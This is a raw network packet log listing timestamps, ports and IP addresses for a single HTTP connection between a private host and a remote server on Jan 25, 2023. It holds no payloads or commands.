Jan 25, 2023 09:42:44.158684015 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.158711910 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158723116 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158729076 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158745050 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.158746004 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158765078 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.158770084 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158791065 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158806086 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.158811092 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158832073 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158843040 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.158853054 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158873081 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158884048 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.158893108 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158915043 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158935070 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158945084 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.158962011 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158966064 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.158974886 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158986092 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.158997059 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159008980 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159015894 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.159033060 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.159050941 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.159430027 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159452915 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159475088 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159495115 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159517050 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159523010 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.159538031 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159538031 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.159570932 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159584045 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159594059 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159598112 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159610987 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159622908 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159630060 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.159636974 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159650087 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159650087 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.159662008 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159672022 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.159674883 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159687042 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159698963 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159707069 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.159712076 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159724951 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159728050 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.159738064 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159749985 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159756899 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.159761906 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159775019 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159787893 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159796000 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.159801960 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159815073 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159816980 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.159827948 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.159835100 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.159864902 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.159893036 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.159972906 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.160383940 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160404921 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160425901 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160444975 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160471916 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160475969 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.160504103 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160507917 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.160516977 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160521030 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160531998 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160552979 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160564899 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.160572052 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160588026 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.160593033 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160599947 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.160613060 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160633087 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160640001 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.160654068 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160672903 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160691977 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160700083 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.160712957 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160723925 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.160732985 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160761118 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160788059 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.160793066 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160804987 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160813093 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.160814047 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160825014 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160835981 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160852909 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.160856962 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160873890 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.160877943 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160898924 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.160912037 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.160948992 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.161344051 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161365032 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161386967 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161407948 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161423922 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.161429882 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161451101 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161458015 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.161472082 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161492109 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161498070 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.161513090 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161534071 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161556005 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161565065 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.161586046 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.161587000 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161598921 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161609888 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161619902 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161642075 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161648035 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.161670923 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161670923 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.161686897 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.161691904 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161711931 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161732912 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161736965 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.161761045 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161782026 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161803007 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161809921 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.161824942 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161824942 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.161844015 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161865950 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161885977 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161885977 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.161905050 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.161914110 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.162103891 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.162334919 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162355900 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162375927 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162404060 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162414074 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162422895 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162425995 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.162455082 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.162455082 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162471056 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162482977 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162487984 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.162503004 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162523985 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162528038 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.162544012 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.162544966 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162565947 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162585020 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162606955 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162610054 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.162626028 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162628889 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.162647009 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162667990 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162693977 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.162699938 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162714958 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.162727118 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162756920 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162776947 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162796974 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162803888 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.162818909 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162838936 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162838936 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.162858963 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162878990 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162894011 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.162895918 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.162997961 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.166100979 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.170217991 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.170241117 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.170259953 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.170293093 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.170375109 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.170610905 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.171101093 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171123028 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171143055 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171163082 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171184063 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171202898 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.171204090 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171226025 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171226978 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.171246052 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171266079 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.171267033 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171288967 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171309948 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171314001 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.171329975 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171340942 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.171350002 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171370029 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171382904 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.171391010 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171411991 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171432972 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171443939 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.171452045 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171463013 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.171473026 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171494007 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171504021 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.171514034 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171535015 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171554089 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.171555042 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171575069 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171576977 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.171597004 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171618938 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171638966 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171649933 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.171659946 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171677113 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.171679020 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171700001 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171705961 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.171720028 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171741009 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171756029 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.171761990 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171782017 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171798944 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.171802998 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171823978 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171838045 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.171844006 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171875954 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171894073 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.171895027 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171921968 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171927929 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.171941042 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171960115 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171979904 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.171997070 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.172010899 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.172046900 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.172046900 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.201612949 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.201698065 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.201757908 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.201760054 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.201822042 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.201872110 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.201881886 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.201931000 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.201986074 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.201992035 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.202049971 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.202094078 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.202105045 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.202157021 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.202207088 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.202227116 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.202260971 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.202311993 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.202341080 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.202373981 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.202430964 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.202444077 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.202491045 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.202538967 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.202583075 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.202598095 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.202646971 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.202702999 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.202764034 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.202830076 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.202879906 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.202888012 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.202956915 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.202961922 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.203022003 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.203079939 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.203087091 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.203139067 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.203208923 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.203213930 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.203283072 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.203318119 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.203341007 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.203386068 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.203433990 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.203449011 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.203512907 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.203561068 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.203573942 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.203640938 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.203691006 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.203711033 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.203759909 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.203815937 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.203875065 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.203886032 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.203943014 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.203994036 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.203999996 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.204051971 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.204063892 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.204133034 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.204164028 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.204191923 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.204240084 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.204268932 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.204325914 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.204332113 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.204396009 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.204428911 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.204463005 CET	80	49728	188.114.97.3	192.168.2.3
